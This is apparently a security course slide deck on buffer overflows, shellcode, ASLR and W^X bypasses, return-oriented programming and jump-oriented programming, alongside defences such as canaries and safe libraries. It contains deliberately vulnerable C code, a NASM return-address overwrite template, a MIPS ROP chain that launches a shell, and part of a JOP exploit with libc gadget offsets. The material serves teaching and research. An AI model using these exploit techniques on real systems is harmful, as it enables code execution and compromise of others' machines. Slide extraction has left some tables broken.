What is a Buffer Overflow?

• Intent
  ▪ Arbitrary code execution
    • Spawn a remote shell or infect with worm/virus
  ▪ Denial of service

• Steps
  ▪ Inject attack code into buffer
  ▪ Redirect control flow to attack code
  ▪ Execute attack code
Buffer Problem: Data overwrite

int main(int argc, char *argv[]) {
    char passwd_ok = 0;
    char passwd[8];
    strcpy(passwd, argv[1]);
    if (strcmp(passwd, "niklas") == 0) {
        passwd_ok = 1;
    }
    if (passwd_ok) {
        // ... }
}

• **passwd** buffer overflowed, overwriting **passwd_ok** flag
  - Any password accepted!
Another Example: Code injection via function pointer

```c
char buffer[100];
void (*func)(char*) = thisfunc;
strcpy(buffer, argv[1]);
func(buffer);
```

- Problems?
  - Overwrite function pointer
    - Execute code arbitrary code in buffer
Stack Attacks: Code injection via return address

• When a function is called...
  ▪ parameters are pushed on stack
  ▪ return address pushed on stack
  ▪ called function puts local variables on the stack

• Memory layout

![Memory layout diagram](image)

• Problems?
  ▪ Return to address X which may execute arbitrary code
#include <stdlib.h>
#include <stdio.h>

int main() {
    char name[1024];
    printf("What is your name? ");
    scanf("%s",name);
    printf("%s is cool.\n", name);

    return 0;
}
Demo – normal execution

tkbletsc@davros:~/jop/examples/code-injection $ ./cool
What is your name? Tyler
Tyler is cool.
tkbletsc@davros:~/jop/examples/code-injection $
Demo – exploit

```
$ ./cool < attack
What is your name? I am Ph... hpeed Ph... Ph... Ph... Ph... Ph... Ph... Ph... Ph... Ph... Ph... Ph... Ph... Ph... Ph... Ph... Ph... Ph... Ph... Ph... Ph... Ph... Ph... Ph... Ph... Ph... Ph... Ph... Ph... Ph... Ph... Ph... Ph... Ph... Ph... Ph... Ph... Ph... Ph... Ph... Ph... Ph... Ph... Ph... Ph... Ph... Ph... Ph... Ph... Ph... Ph... Ph... Ph... Ph... Ph... Ph... Ph... Ph... Ph... Ph... Ph... Ph... Ph... Ph... Ph... Ph... Ph... Ph... Ph... Ph... Ph... Ph... Ph... Ph... Ph... Ph... Ph... Ph... Ph... Ph... Ph... Ph... Ph... Ph... Ph... Ph... Ph... Ph... Ph... Ph... Ph... Ph... Ph... Ph... Ph... Ph... Ph... Ph... Ph... Ph... Ph... Ph... Ph... Ph... Ph... Ph... Ph... Ph... Ph... Ph... Ph... Ph... Ph... Ph... Ph... Ph... Ph... Ph... Ph... Ph... Ph... Ph... Ph... Ph... Ph... Ph... Ph... Ph... Ph... Ph... Ph... Ph... Ph... Ph... Ph... Ph... Ph... Ph... Ph... Ph... Ph... Ph... Ph... Ph... Ph... Ph... Ph... Ph... Ph... Ph... Ph... Ph... Ph... Ph... Ph... Ph... Ph... Ph... Ph... Ph... Ph... Ph... Ph... Ph... Ph... Ph... Ph... Ph... Ph... Ph... Ph... Ph... Ph... Ph... Ph... Ph... Ph... Ph... Ph... Ph... Ph... Ph... Ph... Ph... Ph... Ph... Ph... Ph... Ph... Ph... Ph... Ph... Ph... Ph... Ph... Ph... Ph... Ph... Ph... Ph... Ph... Ph... Ph... Ph... Ph... Ph... Ph... Ph... Ph... Ph... Ph... Ph... Ph... Ph... Ph... Ph... Ph... Ph... Ph... Ph... Ph... Ph... Ph... Ph... Ph... Ph... Ph... Ph... Ph... Ph... Ph... Ph... Ph... Ph... Ph... Ph... Ph... Ph... Ph... Ph... Ph... Ph... Ph... Ph... Ph... Ph... Ph... Ph... Ph... Ph... Ph... Ph... Ph... Ph... Ph... Ph... Ph... Ph... Ph... Ph... Ph... Ph... Ph... Ph... Ph... Ph... Ph... Ph... Ph... Ph... Ph... Ph... Ph... Ph... Ph... Ph... Ph... Ph... Ph... Ph... Ph... Ph... Ph... Ph... Ph... Ph... Ph... Ph... Ph... Ph... Ph... Ph... Ph... Ph... Ph... Ph... Ph... Ph... Ph... Ph... Ph... Ph... Ph... Ph... Ph... Ph... Ph... Ph... Ph... Ph... Ph... Ph... Ph... Ph... Ph... Ph... Ph... Ph... Ph... Ph... Ph... Ph... Ph... Ph... Ph... Ph... Ph... Ph... Ph... Ph... Ph... Ph... Ph... Ph... Ph... Ph... Ph... Ph... Ph... Ph... Ph... Ph... Ph... Ph... Ph... Ph... Ph... Ph... Ph... Ph... Ph... Ph... Ph... Ph... Ph... Ph... Ph... Ph... Ph... Ph... Ph... Ph... Ph... Ph... Ph... Ph... Ph... Ph... Ph... Ph... Ph... Ph... Ph... Ph... Ph... Ph... Ph... Ph... Ph... Ph... Ph... Ph... Ph... Ph... Ph... Ph... Ph... Ph... Ph... Ph... Ph... Ph... Ph... Ph... Ph... Ph... Ph... Ph... Ph... Ph... Ph... Ph... Ph... Ph... Ph... Ph... Ph... Ph... Ph... Ph... Ph... Ph... Ph... Ph... Ph... Ph... Ph... Ph... Ph... Ph... Ph... Ph... Ph... Ph... Ph... Ph... Ph... Ph... Ph... Ph... Ph... Ph... Ph... Ph... Ph... Ph... Ph... Ph... Ph... Ph... Ph... Ph... Ph... Ph... Ph... Ph... Ph... Ph... Ph... Ph... Ph... Ph... Ph... Ph... Ph... Ph... Ph... Ph... Ph... Ph... Ph... Ph... Ph... Ph... Ph... Ph... Ph... Ph... Ph... Ph... Ph... Ph... Ph... Ph... Ph... Ph... Ph... Ph... Ph... Ph... Ph... Ph... Ph... Ph... Ph... Ph... Ph... Ph... Ph... Ph... Ph... Ph... Ph... Ph... Ph... Ph... Ph... Ph... Ph... Ph... Ph... Ph... Ph... Ph... Ph... Ph... Ph... Ph... Ph... Ph... Ph... Ph... Ph... Ph... Ph... Ph... Ph... Ph... Ph... Ph... Ph... Ph... Ph... Ph... Ph... Ph... Ph... Ph... Ph... Ph... Ph... Ph... Ph... Ph... Ph... Ph... Ph... Ph... Ph... Ph... Ph... Ph... Ph... Ph... Ph... Ph... Ph... Ph... Ph... Ph... Ph... Ph... Ph... Ph... Ph... Ph... Ph... Ph... Ph... Ph... Ph... Ph... Ph... Ph... Ph... Ph... Ph... Ph... Ph... Ph... Ph... Ph... Ph... Ph... Ph... Ph... Ph... Ph... Ph... Ph... Ph... Ph... Ph... Ph... Ph... Ph... Ph... Ph... Ph... Ph... Ph... Ph... Ph... Ph... Ph... Ph... Ph... Ph... Ph... Ph... Ph... Ph... Ph... Ph... Ph... Ph... Ph... Ph... Ph... Ph... Ph... Ph... Ph... Ph... Ph... Ph... Ph... Ph... Ph... Ph... Ph... Ph... Ph... Ph... Ph... Ph... Ph... Ph... Ph... Ph... Ph... Ph... Ph... Ph... Ph... Ph... Ph... Ph... Ph... Ph... Ph... Ph... Ph... Ph... Ph... Ph... Ph... Ph... Ph... Ph... Ph... Ph... Ph... Ph... Ph... Ph... Ph... Ph... Ph... Ph... Ph... Ph... Ph... Ph... Ph... Ph... Ph... Ph... Ph... Ph... Ph... Ph... Ph... Ph... Ph... Ph... Ph... Ph... Ph... Ph... Ph... Ph... Ph... Ph... Ph... Ph... Ph... Phtar.h2.7.hhon-h/Pyth/2.7htonhp/pyhg/ftkn.orhythohww.ph://whhttcpf

You clearly aren't cut out for C. How about I start you off on something more your speed...

--2010-09-22 11:40:00--  http://www.python.org/ftp/python/2.7/Python-2.7.tar.bz2
Connecting to www.python.org[82.94.164.162]:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 11735195 (11M) [application/x-bzip2]
Saving to: `Python-2.7.tar.bz2'

100%[=======================================================================>] 11,735,195 3.52M/s in 3.8s

2010-09-22 11:40:05 (2.97 MB/s) - `Python-2.7.tar.bz2' saved [11735195/11735195]
```
### How to write attacks

- Use NASM, an assembler:
  - Great for machine code and specifying data fields

```assembly
attack.asm

%define buffer_size 1024
%define buffer_ptr 0xbfffff2e4
%define extra 20

<<< MACHINE CODE GOES HERE >>>

; Pad out to rest of buffer size
times buffer_size-($-$$) db 'x'

; Overwrite frame pointer (multiple times to be safe)
times extra/4 dd buffer_ptr + buffer_size + extra + 4

; Overwrite return address of main function!
dd buffer_location
```

<table>
<thead>
<tr>
<th>1024</th>
<th>Attack code and filler</th>
<th>&lt;&lt;&lt; MACHINE CODE GOES HERE &gt;&gt;&gt;</th>
</tr>
</thead>
<tbody>
<tr>
<td></td>
<td>; Pad out to rest of buffer size</td>
<td></td>
</tr>
<tr>
<td></td>
<td>times buffer_size-($-$$) db 'x'</td>
<td></td>
</tr>
</tbody>
</table>

<table>
<thead>
<tr>
<th>20</th>
<th>Local vars, Frame pointer</th>
<th>; Overwrite frame pointer (multiple times to be safe)</th>
</tr>
</thead>
<tbody>
<tr>
<td></td>
<td>times extra/4 dd buffer_ptr + buffer_size + extra + 4</td>
<td></td>
</tr>
</tbody>
</table>

<table>
<thead>
<tr>
<th>4</th>
<th>Return address</th>
<th>; Overwrite return address of main function!</th>
</tr>
</thead>
<tbody>
<tr>
<td></td>
<td>dd buffer_location</td>
<td></td>
</tr>
</tbody>
</table>
Attack code trickery

- Where to put strings? No data area!
- You often can't use certain bytes
  - Overflowing a string copy? No nulls!
  - Overflowing a scanf %s? No whitespace!
- Answer: use code!
- Example: make "ebx" point to string "hi folks":
  ```assembly
  push "olks" ; 0x736b6c6f="olks"
  mov ebx, -$"hi f" ; 0x99df9698
  neg ebx ; 0x66206968="hi f"
  push ebx
  mov ebx, esp
  ```
Shellcode

- Code supplied by attacker
  - Often saved in buffer being overflowed
  - Traditionally transferred control to a user command-line interpreter (shell)

- Machine code
  - Specific to processor and operating system
  - Traditionally needed good assembly language skills to create
  - More recently a number of sites and tools have been developed that automate this process

- Metasploit Project
  - Provides useful information to people who perform penetration, IDS signature development, and exploit research
Figure 10.4  Program Loading into Process Memory
Stack vs. Heap vs. Global attacks

- Book acts like they’re different; they are not

<table>
<thead>
<tr>
<th>Stack overflows</th>
<th>Non-stack overflows: heap/static areas</th>
</tr>
</thead>
<tbody>
<tr>
<td>- Data attacks, e.g. “is_admin” variable</td>
<td>- Data attacks, e.g. “is_admin” variable</td>
</tr>
<tr>
<td>- Control attacks, e.g. function pointers, return addresses, etc.</td>
<td>- Control attacks, e.g. function pointers, return addresses, etc.</td>
</tr>
</tbody>
</table>
## Table 10.2

### Some Common Unsafe C Standard Library Routines

<table>
<thead>
<tr>
<th>Routine</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td><code>gets(char *str)</code></td>
<td>read line from standard input into str</td>
</tr>
<tr>
<td><code>sprintf(char *str, char *format, ...)</code></td>
<td>create str according to supplied format and variables</td>
</tr>
<tr>
<td><code>strcat(char *dest, char *src)</code></td>
<td>append contents of string src to string dest</td>
</tr>
<tr>
<td><code>strcpy(char *dest, char *src)</code></td>
<td>copy contents of string src to string dest</td>
</tr>
<tr>
<td><code>vsprintf(char *str, char *fmt, va_list ap)</code></td>
<td>create str according to supplied format and variables</td>
</tr>
</tbody>
</table>

### Better:

<table>
<thead>
<tr>
<th>Routine</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td><code>fgets(char *s, int size, FILE *stream)</code></td>
<td></td>
</tr>
<tr>
<td><code>snprintf(char *str, size_t size, const char *format, ...)</code></td>
<td></td>
</tr>
<tr>
<td><code>strncat(char *dest, const char *src, size_t n)</code></td>
<td></td>
</tr>
<tr>
<td><code>strncpy(char *dest, const char *src, size_t n)</code></td>
<td></td>
</tr>
<tr>
<td><code>vsnprintf(char *str, size_t size, const char *format, va_list ap)</code></td>
<td></td>
</tr>
</tbody>
</table>

Also dangerous: all forms of `scanf` when used with unbounded `%s`!
Buffer Overflow Defenses

• Buffer overflows are widely exploited

Two broad defense approaches

Compile-time
Aim to harden programs to resist attacks in new programs

Run-time
Aim to detect and abort attacks in existing programs
Compile-Time Defenses: Programming Language

- Use a modern high-level language
  - Not vulnerable to buffer overflow attacks
  - Compiler enforces range checks and permissible operations on variables

### Disadvantages

- Additional code must be executed at run time to impose checks
- Flexibility and safety comes at a cost in resource use
- Distance from the underlying machine language and architecture means that access to some instructions and hardware resources is lost
- Limits their usefulness in writing code, such as device drivers, that must interact with such resources
Compile-Time Defenses: Safe Coding Techniques

- C designers placed much more emphasis on space efficiency and performance considerations than on type safety
  - Assumed programmers would exercise due care in writing code
- Programmers need to inspect the code and rewrite any unsafe coding
  - An example of this is the OpenBSD project
- OpenBSD code base: audited for bad practices (including the operating system, standard libraries, and common utilities)
  - This has resulted in what is widely regarded as one of the safest operating systems in widespread use
```c
int copy_buf(char *to, int pos, char *from, int len)
{
    int i;

    for (i=0; i<len; i++) {
        to[pos] = from[i];
        pos++;
    }
    return pos;
}

(a) Unsafe byte copy

short read_chunk(FILE fil, char *to)
{
    short len;
    fread(&len, 2, 1, fil);.......................... .......... /* read length of binary data */
    fread(to, 1, len, fil);.......................... .......... /* read len bytes of binary data */
    return len;
}

(b) Unsafe byte input

Figure 10.10 Examples of Unsafe C Code
Compile-Time Defenses: Language Extensions/Safe Libraries

- Handling dynamically allocated memory is more problematic because the size information is not available at compile time
  - Requires an extension and the use of library routines
    - Programs and libraries need to be recompiled
    - Likely to have problems with third-party applications

- Concern with C is use of unsafe standard library routines
  - One approach has been to replace these with safer variants
    - Libsafe is an example
    - Library is implemented as a dynamic library arranged to load before the existing standard libraries
Compile-Time Defenses: Stack Protection

• Add function entry and exit code to check stack for signs of corruption

• Use random canary
  o Value needs to be unpredictable
  o Should be different on different systems

• Stackshield and Return Address Defender (RAD)
  o GCC extensions that include additional function entry and exit code
    • Function entry writes a copy of the return address to a safe region of memory
    • Function exit code checks the return address in the stack frame against the saved copy
    • If change is found, aborts the program
Preventing Buffer Overflows

• Strategies
  ▪ Detect and remove vulnerabilities (best)
  ▪ Prevent code injection
  ▪ Detect code injection
  ▪ Prevent code execution

• Stages of intervention
  ▪ Analyzing and compiling code
  ▪ Linking objects into executable
  ▪ Loading executable into memory
  ▪ Running executable
Run-Time Defenses: Guard Pages

- Place guard pages between critical regions of memory
  - Flagged in MMU as illegal addresses
  - Any attempted access aborts process

- Further extension places guard pages between stack frames and heap buffers
  - Cost in execution time to support the large number of page mappings necessary
W^X and ASLR

- **W^X**
  - Make code read-only and executable
  - Make data read-write and non-executable

- **ASLR: Randomize memory region locations**
  - “Address Space Layout Randomization”
  - Stack: subtract large value
  - Heap: allocate large block
  - DLLs: link with dummy lib
  - Code/static data: convert to shared lib, or re-link at different address
  - Makes absolute address-dependent attacks harder
Doesn't that solve everything?

- PaX: Linux implementation of ASLR & W^X
- Actual title slide from a PaX talk in 2003:
Negating ASLR

• ASLR is a probabilistic approach, merely increases attacker’s expected work
  ▪ Each failed attempt results in crash; at restart, randomization is different

• Counters:
  ▪ Information leakage
    • Program reveals a pointer? Game over.
  ▪ Derandomization attack [1]
    • Just keep trying!
    • 32-bit ASLR defeated in 216 seconds

Negating $W^X$

- Question: do we need malicious **code** to have malicious **behavior**?

**No.**

- Code injection
- "Return-into-libc" attack

### Diagram

- **RA**
- **locals**
- **frame pointer**
- **Attack code (launch a shell)**
- **Argument 1**
- **Argument 2**
- **Address of attack code**
- **Address of system()**
- **Padding**
- **buffer**

### Arguments

- **Argument 1**
- **Argument 2**
Return-into-libc

• Return-into-libc attack
  ▪ Execute entire libc functions
  ▪ Can chain using “esp lifters”
  ▪ Attacker may:
    • Use system/exec to run a shell
    • Use mprotect/mmap to disable W^X
    • Anything else you can do with libc
  ▪ Straight-line code only?
    • Shown to be false by us, but that's another talk...
Arbitrary behavior with W^X?

• Question: do we need malicious code to have arbitrary malicious behavior?
  No.

• Return-oriented programming (ROP)

• Chain together gadgets: tiny snippets of code ending in ret
• Achieves Turing completeness
• Demonstrated on x86, SPARC, ARM, z80, ...
  ▪ Including on a deployed voting machine, which has a non-modifiable ROM
  ▪ Recently! New remote exploit on Apple Quicktime¹

Return-oriented programming (ROP)

- Normal software:

- Return-oriented program:

Figures taken from "Return-oriented Programming: Exploitation without Code Injection" by Buchanan et al.
Some common ROP operations

- Loading constants
  - pop eax ; ret
  - 0x55555555
  - stack pointer

- Arithmetic
  - add eax, ebx ; ret
  - stack pointer

- Control flow
  - pop esp ; ret
  - stack pointer

- Memory
  - pop eax ; ret
  - mov ebx, [eax] ; ret
  - 0x8070abcd
    - (address)
  - stack pointer

Figures adapted from "Return-oriented Programming: Exploitation without Code Injection" by Buchanan et al.
Bringing it all together

- Shellcode
  - Zeroes part of memory
  - Sets registers
  - Does execve syscall

Figure taken from "The Geometry of Innocent Flesh on the Bone: Return-into-libc without Function Calls (on the x86)" by Shacham
Example: First a syscall review in MIPS and x86

• Let’s say we want to launch a shell process in MIPS *legitimately* (not an attack)

• Necessary steps:

```c
.data
shell: .asciiz "/bin/bash"

.x86
myfunc:
    mov ebx, shell  # 1. Set $a0 to the address of the string "/bin/sh"
    mov eax, 55    # 2. Set $v0 to the syscall number for 'exec'
    int 0x80       # 3. Ask the OS to do the syscall

<MIPS>
.text
myfunc:
    la $a0, shell   # 1. Set $a0 to the address of the string "/bin/sh"
    li $v0, 55     # 2. Set $v0 to the syscall number for 'exec'
    syscall        # 3. Ask the OS to do the syscall
```
Example ROP in MIPS (1)

• Now let’s do it via ROP. Steps:

1. Set $a0 to the address of the string “/bin/sh”
2. Set $v0 to the syscall number for 'exec'
3. Ask the OS to do the syscall

```assembly
lw $a0, 4($sp)
lw $ra, 0($sp)
addi $sp, $sp, 8
jr $ra
```

### Stack

<table>
<thead>
<tr>
<th>Address</th>
<th>Contents</th>
</tr>
</thead>
<tbody>
<tr>
<td>0x1200</td>
<td>Junk</td>
</tr>
<tr>
<td>0x1804</td>
<td></td>
</tr>
<tr>
<td>0x3506</td>
<td></td>
</tr>
<tr>
<td>0x4880</td>
<td></td>
</tr>
<tr>
<td>55</td>
<td></td>
</tr>
</tbody>
</table>

### Environment variables in the stack

- PS1=bash$
- SHELL=/bin/bash
- LSCOLOR=...

### Various code in the text section

- # (Read a string from the user into a buffer)
- lw $ra, 0($sp)
- addi $sp, $sp, 4
- jr $ra
- ...

### Stack (junk)

- Stack (junk)
- (junk)
- (junk)
- (junk)

### (Function’s caller)

Buffer overflow occurs
Example ROP in MIPS (2)

Now let’s do it via ROP. Steps:

1. Set $a0 to the address of the string “/bin/sh”
2. Set $v0 to the syscall number for 'exec'
3. Ask the OS to do the syscall

```
lw $a0, 4($sp)
lw $ra, 0($sp)
addi $sp, $sp, 8
jr $ra
...
```

Stack

- (junk)
- (junk)
- (junk)
- (junk)
- 0x1200 Vulnerable function’s $ra
- 0x1804
- 0x3506
- 0x4880
- 55

```bash
PS1=bash$
SHELL=/bin/bash
LSCOLOR=...
```

$ra controlled by attacker now

buffer
Example ROP in MIPS (3)

- Now let’s do it via ROP. Steps:
  1. Set $a0 to the address of the string “/bin/sh”
  2. Set $v0 to the syscall number for 'exec'
  3. Ask the OS to do the syscall

```
Stack
(junk)
(junk)
(junk)
(junk)
0x1200 Vulnerable function's $ra
0x1804
0x3506
0x4880
55

buffer

$sp

End of vulnerable function

# (Read a string from the user into a buffer)
...  
  lw $ra, 0($sp)  
  addi $sp, $sp, 4  
  jr $ra  
...

# (Write a string to the user)
...
  lw $a0, 4($sp)
  lw $ra, 0($sp)
  addi $sp, $sp, 8
  jr $ra
...

Vulnerable function's $ra

0x3506

We go where attacker says
```
Example ROP in MIPS (4)

• Now let’s do it via ROP. Steps:
  1. Set $a0 to the address of the string “/bin/sh”
  2. Set $v0 to the syscall number for 'exec'
  3. Ask the OS to do the syscall

```
Ex. 0x3506
  0x3500
  0x1200
  0x1804
  0x3506
  0x4880
  55
```

Stack

<table>
<thead>
<tr>
<th>Stack</th>
<th>(junk)</th>
<th>(junk)</th>
<th>(junk)</th>
<th>(junk)</th>
<th>0x1200 (junk)</th>
<th>0x1804</th>
<th>0x3506</th>
<th>0x4880</th>
</tr>
</thead>
<tbody>
<tr>
<td>Buffer</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td>Vulnerable function’s $ra</td>
<td></td>
<td></td>
<td></td>
</tr>
</tbody>
</table>

End of vulnerable function

```
Regs
$a0 = 0x3506
```

We change $a0 and $ra

```
# (Read a string from the user into a buffer)
  ...
  lw $ra, 0($sp)
  addi $sp, $sp, 4
  jr $ra
  ...
```

```
PS1=bash$
SHELL=/bin/bash
LSCOLOR=...
```

```
...
  lw $a0, 4($sp)
  lw $ra, 0($sp)
  addi $sp, $sp, 8
  jr $ra
  ...
```

```
...
  lw $a0, 8($sp)
  lw $a1, 4($sp)
  lw $ra, 0($sp)
  addi $sp, $sp, 12
  jr $ra
  ...
```

```
...
  syscall
  ...
```

(Function’s caller)
Example ROP in MIPS (5)

- Now let’s do it via ROP. Steps:
  1. Set $a0 to the address of the string ‘/bin/sh’
  2. Set $v0 to the syscall number for 'exec'
  3. Ask the OS to do the syscall

Now we execute another gadget
Example ROP in MIPS (6)

Now let’s do it via ROP. Steps:

1. Set $a0 to the address of the string “/bin/sh”
2. Set $v0 to the syscall number for 'exec'
3. Ask the OS to do the syscall

Stack

(junk)
(junk)
(junk)
(junk)
0x1200 Vulnerable function’s $ra
0x1804
0x3506
0x4880
55

Stack (junk)
Stack (junk)
Stack (junk)
Stack (junk)
Stack (junk)

Regs
$a0 = 0x3506
$a1 = 55

It sets $a1 and $ra

System Call

# (Read a string from the user into a buffer)

lw $a0, 8($sp)
lw $a1, 4($sp)
addi $sp, $sp, 8
jr $ra

...
Example ROP in MIPS (7)

Now let’s do it via ROP. Steps:

1. Set $a0 to the address of the string "/bin/sh"
2. Set $v0 to the syscall number for 'exec'
3. Ask the OS to do the syscall

Stack

<table>
<thead>
<tr>
<th>(junk)</th>
<th>(junk)</th>
<th>(junk)</th>
<th>(junk)</th>
<th>0x1200</th>
<th>Vulnerable function’s $ra</th>
</tr>
</thead>
<tbody>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td>0x1804</td>
<td></td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td>0x3506</td>
<td></td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td>0x4880</td>
<td></td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td>55</td>
<td></td>
</tr>
</tbody>
</table>

buffer

Regs

$pc

We execute the final gadget
Example ROP in MIPS (8)

- Now let’s do it via ROP. Steps:
  1. Set $a0 to the address of the string “/bin/sh”
  2. Set $v0 to the syscall number for 'exec'
  3. Ask the OS to do the syscall

### Stack

- (junk)
- (junk)
- (junk)
- (junk)
- 0x1200: Vulnerable function’s $ra
- 0x1804
- 0x3506
- 0x4880
- 55

**Regs**

- $a0 = 0x3506
- $a1 = 55

**Boom: shell**
Defenses against ROP

• ROP attacks rely on the stack in a unique way
• Researchers built defenses based on this:
  ▪ ROPdefender\textsuperscript{[1]} and others: maintain a shadow stack
  ▪ DROP\textsuperscript{[2]} and DynIMA\textsuperscript{[3]}: detect high frequency \texttt{rets}
  ▪ Returnless\textsuperscript{[4]}: Systematically eliminate all \texttt{rets}

• So now we're totally safe forever, right?
• \textbf{No}: code-reuse attacks need not be limited to the stack and \texttt{ret}!
  ▪ See “Jump-oriented programming: a new class of code-reuse attack” by Bletsch et al. (covered in this deck if you’re curious)
Sidebar: “Weird machines”

- Using ROP gives a computer with “weird” opcodes (gadget addresses) and “weird” semantics (specific effects on specific registers/memory).

- This is an example of a “weird machine” – common idiom in security
  - Unexpected inputs result in unexpected forms of computation

- Key insight: If you can do computation in ANY way, it’s a computer

- Tagline of popular exploit YouTuber “LiveOverflow” is “explore weird machines”
Backup slides:
My past research on code reuse attacks

“Jump-oriented Programming” (JOP)
Defenses against ROP

• ROP attacks rely on the stack in a unique way
• Researchers built defenses based on this:
  – ROPdefender\(^1\) and others: maintain a shadow stack
  – DROP\(^2\) and DynIMA\(^3\): detect high frequency \texttt{rets}
  – Returnless\(^4\): Systematically eliminate all \texttt{rets}

• So now we're totally safe forever, right?
• \textbf{No}: code-reuse attacks need not be limited to the stack and \texttt{ret}!
  – My research follows...
Jump-oriented programming (JOP)

• Instead of `ret`, use indirect jumps, e.g., `jmp eax`

• How to maintain control flow?

```
(choose next gadget) ; jmp eax
```

```
Dispatcher gadget
```

```
(choose next gadget) ; jmp ebx
```

```
Gadget
```

```
(choose next gadget) ; jmp ecx
```

```
Gadget
```

```
(choose next gadget) ; jmp ebx
```

```
Gadget
```

```
(choose next gadget) ; jmp ebx
```

```
Gadget
```
The dispatcher in depth

- Dispatcher gadget implements:
  \[ pc = f(pc) \]
  \[ \text{goto } *pc \]

- \( f \) can be anything that evolves \( pc \) predictably
  - Arithmetic: \( f(pc) = pc + 4 \)
  - Memory based: \( f(pc) = *(pc+4) \)
Availability of indirect jumps (1)

- Can use `jmp` or `call` (don't care about the stack)
- When would we expect to see indirect jumps?
  - Function pointers, some switch/case blocks, ...?
- That's not many...

Frequency of control flow transfers instructions in glibc
Availability of indirect jumps (2)

- However: x86 instructions are *unaligned*
- We can find *unintended* code by jumping into the middle of a regular instruction!

```
add ebx, 0x10ff2a
```

- Very common, since they start with 0xFF, e.g.
  - \(-1\) = 0xFFFFFFFF
  - \(-1000000\) = 0xFFF0BDC0
Finding gadgets

• Cannot use traditional disassembly,
  – Instead, as in ROP, scan & walk backwards
  – We find 31,136 potential gadgets in libc!

• Apply heuristics to find certain kinds of gadget

• Pick one that meets these requirements:
  – Internal integrity:
    • Gadget must not destroy its own jump target.
  – Composability:
    • Gadgets must not destroy subsequent gadgets' jump targets.
Finding dispatcher gadgets

- Dispatcher heuristic:
  - The gadget must act upon its own jump target register
  - Opcode can't be useless, e.g.: `inc`, `xchg`, `xor`, etc.
  - Opcodes that overwrite the register (e.g. `mov`) instead of modifying it (e.g. `add`) must be self-referential
    - `lea edx, [eax+ebx]` isn't going to advance anything
    - `lea edx, [edx+esi]` could work

- Find a dispatcher that uses uncommon registers
  - `add ebp, edi`
  - `jmp [ebp-0x39]`

- Functional gadgets found with similar heuristics
Developing a practical attack

• Built on Debian Linux 5.0.4 32-bit x86
  – Relies solely on the included libc

• Availability of gadgets (31,136 total): **PLENTY**
  – Dispatcher: 35 candidates
  – **Load constant**: 60 `pop` gadgets
  – **Math/logic**: 221 `add`, 129 `sub`, 112 `or`, 1191 `xor`, etc.
  – **Memory**: 150 `mov` loaders, 33 `mov` storers (and more)
  – **Conditional branch**: 333 short `adc/sbb` gadgets
  – **Syscall**: multiple gadget sequences
The vulnerable program

• Vulnerabilities
  – String overflow
  – Other buffer overflow
  – String format bug

• Targets
  – Return address
  – Function pointer
  – C++ Vtable
  – Setjmp buffer
    • Used for non-local gotos
    • Sets several registers, including esp and eip
The exploit code (high level)

- Shellcode: launches /bin/bash
- Constructed in NASM (data declarations only)
- 10 gadgets which will:
  - Write null bytes into the attack buffer where needed
  - Prepare and execute an execve syscall
- Get a shell without exploiting a single ret:
  ```
  sh$ ./vulnerable "`cat exploit.bin`"
  Starting bash...
  bash$
  ```
The full exploit (1)

<table>
<thead>
<tr>
<th>Start:</th>
</tr>
</thead>
<tbody>
<tr>
<td>STARTING ADDRESS</td>
</tr>
</tbody>
</table>

<table>
<thead>
<tr>
<th>; Constants:</th>
</tr>
</thead>
<tbody>
<tr>
<td>libc:</td>
</tr>
<tr>
<td>base:</td>
</tr>
<tr>
<td>base_mangled:</td>
</tr>
<tr>
<td>initializer_mangled:</td>
</tr>
<tr>
<td>dispatcher:</td>
</tr>
<tr>
<td>buffer_length:</td>
</tr>
<tr>
<td>shell:</td>
</tr>
<tr>
<td>to_null:</td>
</tr>
</tbody>
</table>

<table>
<thead>
<tr>
<th>; Start of the stack. Data read by initializer gadget &quot;popa&quot;:</th>
</tr>
</thead>
<tbody>
<tr>
<td>popa0_edi:</td>
</tr>
<tr>
<td>popa0_esi:</td>
</tr>
<tr>
<td>popa0_ebp:</td>
</tr>
<tr>
<td>popa0 esp:</td>
</tr>
<tr>
<td>popa0 ebx:</td>
</tr>
<tr>
<td>popa0 edx:</td>
</tr>
<tr>
<td>popa0 ecx:</td>
</tr>
<tr>
<td>popa0 eax:</td>
</tr>
</tbody>
</table>

<table>
<thead>
<tr>
<th>; Data read by &quot;popa&quot; for the null-writer gadgets:</th>
</tr>
</thead>
<tbody>
<tr>
<td>popal edi:</td>
</tr>
<tr>
<td>popal esi:</td>
</tr>
<tr>
<td>popal ebp:</td>
</tr>
<tr>
<td>popal esp:</td>
</tr>
<tr>
<td>popal ebx:</td>
</tr>
<tr>
<td>popal edx:</td>
</tr>
<tr>
<td>popal ecx:</td>
</tr>
<tr>
<td>popal eax:</td>
</tr>
</tbody>
</table>

<table>
<thead>
<tr>
<th>; Data read by &quot;popa&quot; to prepare for the system call:</th>
</tr>
</thead>
<tbody>
<tr>
<td>popa2 edi:</td>
</tr>
<tr>
<td>popa2 esi:</td>
</tr>
<tr>
<td>popa2 ebp:</td>
</tr>
<tr>
<td>popa2 esp:</td>
</tr>
<tr>
<td>popa2 ebx:</td>
</tr>
<tr>
<td>popa2 edx:</td>
</tr>
<tr>
<td>popa2 ecx:</td>
</tr>
<tr>
<td>popa2 eax:</td>
</tr>
</tbody>
</table>
The full exploit (2)

```
42 ; End of stack, start of a general data region used in manual addressing
43 dd dispatcher ; Jumpback for "jmp [esi-0xf]"
44 times 0xB db 'X' ; Filler
45 esi_addr: dd dispatcher ; Jumpback for "jmp [esi]"
46 dd dispatcher ; Jumpback for "jmp [esi+0x4]"
47 times 4 db 'Z' ; Filler
48 new_eax: dd 0E8EEE80b ; Sets syscall EAX via [esi+0xc]; EE bytes will be cleared
49
50 ; End of the data region, the dispatch table is below (in reverse order)
51 g0a: dd 0xb7fe3419 ; sysenter
52 g09: dd libc+ 0x1a30d ; mov eax, [esi+0xc] ; mov [esp], eax ; call [esi+0x4]
53 g08: dd libc+0x136460 ; xchg ecx, eax ; fdiv st, st(3) ; jmp [esi-0xf]
54 g07: dd libc+0x137375 ; popa ; cmp ; jmp far dword [ecx]
